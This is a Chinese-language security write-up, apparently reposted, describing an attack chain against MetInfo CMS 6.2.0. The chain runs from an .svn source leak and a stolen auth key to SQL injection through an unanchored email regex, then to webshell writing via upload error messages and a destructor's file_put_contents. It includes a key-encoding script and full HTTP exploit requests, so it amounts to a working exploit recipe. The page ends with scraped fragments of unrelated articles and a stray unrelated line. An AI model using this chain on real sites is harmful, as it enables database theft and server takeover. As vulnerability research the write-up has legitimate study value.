<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    【技術分享】metinfo 6.2.0正則匹配不嚴謹導致注入+getshell組合拳

    VSole2022-05-06 08:21:25

    今天公司做技術分享,分享了項目中的一個攻擊metinfo的案例,很有意思的攻擊鏈,記錄下。

    svn泄露

    svn是一個開放源代碼的版本控制系統,如果在網站中存在.svn目錄,那么我們可以拿到網站的源代碼,方便審計。關于svn泄露需要注意的是SVN 版本 >1.7 時,Seay的工具不能dump源碼了。可以用@admintony師傅的腳本來利用 https://github.com/admintony/svnExploit/

    在目標站中發現了http://php.local/.svn/目錄泄露源代碼,發現是metinfo cms,拿到了位于config/config_safe.php中的key,這個key起到了很大作用。

    什么是key呢?為什么要有這個key呢?

    在metinfo安裝完成后,會在config/config_safe.php寫入一個key,這個key是用來加密解密賬戶信息的,你可以在app/system/include/class/auth.class.php看到加解密算法。

    可以看到加解密采用了$this->auth_key.$key作為鹽值,$key默認為空,那么這個$this->auth_key在哪定義的呢?

    config/config.inc.php:109

    有了這個key,我們可以自己針對性去加密解密程序密文。

    有什么用呢?大部分的cms都會有全局參數過濾,而metinfo的全局過濾簡直變態,我們很難直接從request中找到可用的sql注入,而加了密之后的參數一半不會再進行過濾了,我們可以找下可控的加密參數。

    正則匹配導致的注入

    全局搜索$auth->decode尋找可控的參數,并且不走過濾的。

    app/system/user/web/getpassword.class.php:93

    public function dovalid() {
        global $_M;
        $auth = load::sys_class('auth', 'new');
        $email = $auth->decode($_M['form']['p']);
        if(!is_email($email))$email = '';
        if($email){
            if($_M['form']['password']){
                $user = $this->userclass->get_user_by_email($email);
                if($user){
                    if($this->userclass->editor_uesr_password($user['id'],$_M['form']['password'])){
                        okinfo($_M['url']['login'], $_M['word']['modifypasswordsuc']);
                    }else{
                        okinfo($_M['url']['login'], $_M['word']['opfail']);
                    }
                }else{
                    okinfo($_M['url']['login'], $_M['word']['NoidJS']);
                }
            }
            require_once $this->view('app/getpassword_mailset',$this->input);
        }else{
            okinfo($_M['url']['register'], $_M['word']['emailvildtips2']);
        }
    }
    

    可以看到$email直接從$_M['form']['p']中經過$auth->decode 解密獲取,并沒有進行過濾,然后在get_user_by_email($email)中代入數據庫查詢。但是經過了is_email($email)判斷是否為正確的郵箱地址。

    跟進app/system/include/function/str.func.php:26

    function is_email($email){
        $flag = true;
        $patten = '/[w-]+@[w-]+.[a-zA-Z.]*[a-zA-Z]$/';
        if(preg_match($patten, $email) == 0){
            $flag = false;
        }
        return $flag;
    }
    

    很正常的正則表達式,但是唯一缺少的是^起始符!那么我們構造如' and 1=1-- 1@qq.com也會返回true!

    email要經過$auth->decode解密,這個時候我們的key就派上用場了,我們可以使用$auth->encode()來加密我們的payload傳進去,構成注入。

    將auth類自己搞一份出來。

    function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0){
        $ckey_length = 4;
        $key = md5($key ? $key : UC_KEY);
        $keya = md5(substr($key, 0, 16));
        $keyb = md5(substr($key, 16, 16));
        $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
        $cryptkey = $keya.md5($keya.$keyc);
        $key_length = strlen($cryptkey);
        $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
        $string_length = strlen($string);
        $result = '';
        $box = range(0, 255);
        $rndkey = array();
        for($i = 0; $i <= 255; $i++) {
            $rndkey[$i] = ord($cryptkey[$i % $key_length]);
        }
        for($j = $i = 0; $i < 256; $i++) {
            $j = ($j + $box[$i] + $rndkey[$i]) % 256;
            $tmp = $box[$i];
            $box[$i] = $box[$j];
            $box[$j] = $tmp;
        }
        for($a = $j = $i = 0; $i < $string_length; $i++) {
            $a = ($a + 1) % 256;
            $j = ($j + $box[$a]) % 256;
            $tmp = $box[$a];
            $box[$a] = $box[$j];
            $box[$j] = $tmp;
            $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
        }
        if($operation == 'DECODE') {
            if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
                return substr($result, 26);
            } else {
                return '';
            }
        }else{
            return $keyc.str_replace('=', '', base64_encode($result));
        }
    }
    print_r(urlencode(authcode($_GET['p'],'ENCODE','cqQWPRhV91To7PmrI5Dd3FGIxjMQpLmt','0')));
    

    需要注意這個123@qq.com是你自己注冊的用戶,如果met_user表中不存在一條記錄,是延時不了的。

    延時成功,你也可以構造布爾盲注,到此為止就是注入的部分,但是我們的目標是拿權限,一個注入就滿足了?

    組合拳

    app/system/include/class/web.class.php:467 省略部分代碼

    public function __destruct(){
        global $_M;
        //讀取緩沖區數據
        $output = str_replace(array('','','','','',"r",substr($admin_url,0,-1)),'',ob_get_contents());
        ob_end_clean();//清空緩沖區
    ...
        if($_M['form']['html_filename'] && $_M['form']['metinfonow'] == $_M['config']['met_member_force']){
            //靜態頁
            $filename = urldecode($_M['form']['html_filename']);
            if(stristr(PHP_OS,"WIN")) {
                $filename = @iconv("utf-8", "GBK", $filename);
            }
            if(stristr($filename, '.php')){
                jsoncallback(array('suc'=>0));
            }
            if(file_put_contents(PATH_WEB.$filename, $output)){
                jsoncallback(array('suc'=>1));
            }else{
                jsoncallback(array('suc'=>0));
            }
        }else{
            echo $output;//輸出內容
        }
    ...
    }
    

    在前臺基類web.class.php中有__destruct魔術方法,而在這個方法中使用file_put_contents(PATH_WEB.$filename, $output寫入文件,其中$output是通過ob_get_contents()獲取的緩沖區數據,而$filename是從$_M['form']['html_filename']拿出來的,我們可控。

    但是有一個if條件$_M['form']['metinfonow'] == $_M['config']['met_member_force'],這個met_member_force在哪呢?在數據庫里,我們可以通過剛才的注入拿到!

    那么我們現在的目的就變為怎么去控制$output也就是緩沖區的值。

    ob_start()在服務器打開一個緩沖區來保存所有的輸出。所以在任何時候使用echo,輸出都將被加入緩沖區中,直到程序運行結束或者使用ob_flush()來結束。

    也就是說我們只要找到web.class.php或者繼承web.class.php的子類中有可控的echo輸出,配合剛才的注入便可以寫入shell。

    全局搜索extends web尋找子類,在子類中尋找可控echo輸出,最終找到的是app/system/include/module/uploadify.class.php的doupfile()方法

    public function set_upload($info){
        global $_M;
        $this->upfile->set('savepath', $info['savepath']);
        $this->upfile->set('format', $info['format']);
        $this->upfile->set('maxsize', $info['maxsize']);
        $this->upfile->set('is_rename', $info['is_rename']);
        $this->upfile->set('is_overwrite', $info['is_overwrite']);
    }
    ...
    public function upload($formname){
        global $_M;
        $back = $this->upfile->upload($formname);
        return $back;
    }
    ...
    public function doupfile(){
        global $_M;
        $this->upfile->set_upfile();
        $info['savepath'] = $_M['form']['savepath'];
        $info['format'] = $_M['form']['format'];
        $info['maxsize'] = $_M['form']['maxsize'];
        $info['is_rename'] = $_M['form']['is_rename'];
        $info['is_overwrite'] = $_M['form']['is_overwrite'];
        $this->set_upload($info);
        $back = $this->upload($_M['form']['formname']);
        if($_M['form']['type']==1){
            if($back['error']){
                $back['error'] = $back['errorcode'];
            }else{
                $backs['path'] = $back['path'];
                $backs['append'] = 'false';
                $back = $backs;
            }
        }
        $back['filesize'] =  round(filesize($back['path'])/1024,2);
        echo jsonencode($back);
    }
    ...
    

    echo的$back變量是從$_M['form']['formname']取出來的,可控,向上推看back變量的取值由$this->upfile->upload($formname)決定,跟進。

    public function upload($form = '') {
        global $_M;
        if($form){
            foreach($_FILES as $key => $val){
                if($form == $key){
                    $filear = $_FILES[$key];
                }
            }
        }
        if(!$filear){
            foreach($_FILES as $key => $val){
                $filear = $_FILES[$key];
                break;
            }
        }
        //是否能正常上傳
        if(!is_array($filear))$filear['error'] = 4;
        if($filear['error'] != 0 ){
            $errors = array(
                0 => $_M['word']['upfileOver4'],
                1 => $_M['word']['upfileOver'],
                2 => $_M['word']['upfileOver1'],
                3 => $_M['word']['upfileOver2'],
                4 => $_M['word']['upfileOver3'],
                6 => $_M['word']['upfileOver5'],
                7 => $_M['word']['upfileOver5']
            );
            $error_info[]= $errors[$filear['error']] ? $errors[$filear['error']] : $errors[0];
            return $this->error($errors[$filear['error']]);
        }
        ...
        //文件大小是否正確{}
        if ($filear["size"] > $this->maxsize || $filear["size"] > $_M['config']['met_file_maxsize']*1048576) {
            return $this->error("{$_M['word']['upfileFile']}".$filear["name"]." {$_M['word']['upfileMax']} {$_M['word']['upfileTip1']}");
        }
        //文件后綴是否為合法后綴
        $this->getext($filear["name"]); //獲取允許的后綴
        if (strtolower($this->ext)=='php'||strtolower($this->ext)=='aspx'||strtolower($this->ext)=='asp'||strtolower($this->ext)=='jsp'||strtolower($this->ext)=='js'||strtolower($this->ext)=='asa') {
            return $this->error($this->ext." {$_M['word']['upfileTip3']}");
        }
        ...
    }
    

    省略部分代碼

    我們要看return回去的值就是back變量的值,所以重點關注return的東西看是否可控。

    首先是正常foreach取出上傳文件的信息,然后判斷是否能正常上傳-文件大小是否正確-文件后綴是否為合法后綴,如果有錯就return。到這里有兩種思路。    

    超出文件大小getshell

    在后臺中最大文件大小是8m,如果我們上傳一個超出8m的文件,那么upload()函數就會return $this->error("{$_M['word']['upfileFile']}".$filear["name"]." {$_M['word']['upfileMax']} {$_M['word']['upfileTip1']}"); 而這個$filear["name"]是我們可控的,在foreach中賦值的。

    那么這樣我們就可以把$filear["name"]改為shell,然后return回去,賦值給$back,echo進緩沖區,最后file_put_contents拿到shell,完美的利用鏈。

    但是這個8m太大了,我們可以通過注入進后臺把這個限制改為0.0008

    構造下payload,需要注意metinfonow參數是上文中從數據庫中取出的met_member_force

    POST /admin/index.php?c=uploadify&m=include&a=doupfile&lang=cn&metinfonow=xwtpwmp&html_filename=1.php HTTP/1.1
    Host: php.local
    Content-Length: 1120
    Origin: http://php.local
    User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8tQiXReYsQYXHadW
    Accept: */*
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Connection: close
    ------WebKitFormBoundary8tQiXReYsQYXHadW
    Content-Disposition: form-data; name="test"; filename=""
    Content-Type: image/jpeg
    testtesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttest
    ------WebKitFormBoundary8tQiXReYsQYXHadW--
    

    無后綴getshell

    @mochazz師傅在先知上分享了一篇metinfo6.1.3的getshell,我自己測試在6.2.0中已經修復,不過還是提一下。

    問題出在 app/system/include/class/upfile.class.php:139 getext()函數

    如果不是合法后綴會return $this->error($this->ext." {$_M['word']['upfileTip3']}"),而$this->ext經過getext()函數,跟進

    protected function getext($filename) {
        if ($filename == "") {
            return ;
        }
        $ext = explode(".", $filename);
        $ext = $ext[count($ext) - 1];
        return $this->ext = $ext;
    }
    

    直接return $ext,那么我們上傳一個無后綴的文件,文件名寫一句話就可以getshell

    y

    payload

    POST /admin/index.php?c=uploadify&m=include&a=doupfile&lang=cn&metinfonow=xwtpwmp&html_filename=1.php HTTP/1.1
    Host: php.local
    Content-Length: 194
    Origin: http://php.local
    User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8tQiXReYsQYXHadW
    Accept: */*
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: XDEBUG_SESSION=PHPSTORM
    Connection: close
    ------WebKitFormBoundary8tQiXReYsQYXHadW
    Content-Disposition: form-data; name="test"; filename=""
    Content-Type: image/jpeg
    test
    ------WebKitFormBoundary8tQiXReYsQYXHadW--
    

    而在6.2.0中,加入了一行正則判斷后綴,繞不過去,無法getshell

    protected function getext($filename) {
        if ($filename == "") {
            return ;
        }
        $ext = explode(".", $filename);
        $ext = $ext[count($ext) - 1];
        if (preg_match("/^[0-9a-zA-Z]+$/u", $ext)) {
            return $this->ext = $ext;
        }
        return $this->ext = '';
    } 
    

    總結

    1. svn泄露分版本
    2. 注冊是郵件的正則匹配問題
    3. 參數加密一般不走全局過濾 找找注入
    4. 關注echo和ob_get_contents()函數 說不定能寫shell呢

    參考鏈接

    1. https://nosec.org/home/detail/2436.html
    2. https://xz.aliyun.com/t/4425
    info正則
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    今天公司做技術分享,分享了項目中的一個攻擊metinfo的案例,很有意思的攻擊鏈,記錄下。關于svn泄露需要注意的是SVN 版本 >1.7 時,Seay的工具不能dump源碼了。config/config.inc.php:109有了這個key,我們可以自己針對性去加密解密程序密文。正則匹配導致的注入全局搜索$auth->decode尋找可控的參數,并且不走過濾的。
    Ceye DNS:DNS oob平臺 http://ceye.io/. TLS書信息查詢Censys:https://censys.io. 網絡空間搜索Fofa:https://fofa.info/
    Ceye DNS:DNS oob平臺 http://ceye.io/. TLS書信息查詢Censys:https://censys.io. 網絡空間搜索Fofa:https://fofa.info/
    一文看懂Rad基礎操作
    2022-07-25 16:56:45
    從有Rad開始就一直在使用,從開始使用便非常的驚喜,并在使用過程中產生了很多Rad的使用小技巧,一些官方描述不太清晰或者很少提及的地方我也在與開發者的請教中明了,所以希望借此文章將一些使用技巧分享給大家。
    環境部署 使用vulhub進行部署https://vulhub.org/,具體參考百度即可。 啟動環境
    網絡資產信息掃描在滲透測試中經常需要對目標進行網絡資產收集,即探測對方服務器都有哪些IP,IP上開了哪些端口,端口上運行著哪些服務。該腳本即為實現此過程,相比其他探測腳本有以下優點:輕巧簡潔,只需python環境,無需安裝額外外庫。掃描完成后生成獨立頁面報告。-h 必須輸入的參數,支持ip,ip段,ip范圍指定,ip列表文件,最多限制一次可掃描65535個IP。ftp|^220-正則為空時則使用端口進行匹配,否則以正則匹配結果為準。
    0X00 原理原理就是,讀取本地微信文件夾中的config目錄下的AccInfo.dat文件AccInfo.dat文件內容如下圖這個Dat文件中包含了手機號,微信ID,微信號,昵稱和城市,綁定郵箱等信息0X01?福州,龍巖,南平,寧德,莆田,泉州,三明,廈門,漳州。白山,白城,長春,吉林,遼源,四平,松原,通化。撫州,贛州,景德鎮,九江,吉安,南昌,萍鄉,上饒,新余,鷹潭,宜春。鞍山,本溪,朝陽,大連,丹東,撫順,阜新,葫蘆島,錦州,遼陽,盤錦(PanJi
    假設Mysql中canal_test庫下有一張表policy_cred,需要統計實時統計policy_status狀態為1的mor_rate的的變化趨勢,并標注比率的風險預警等級。?本次安裝的canal版本為1.1.2,Canal版本最后在1.1.1之后。server端采用MQ模式,MQ選用Kafka。服務器系統為Centos
    數據一般是要四件套,姓名,手機號,身份證,住址。根據上述統計結果由高到低選取部分得分方法進行說明。爆破前應想辦法繞過驗證碼,部分驗證碼存在不刷新或是有驗證的邏輯錯誤可繞過的情況。通常在忘記密碼處可能會存在用戶名枚舉漏洞。也可翻閱當前登錄框的JS正則或是Google信息搜索進行合理猜測。在有大量用戶基數的情況下,通常固定弱口令遍歷用戶名效果最佳。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类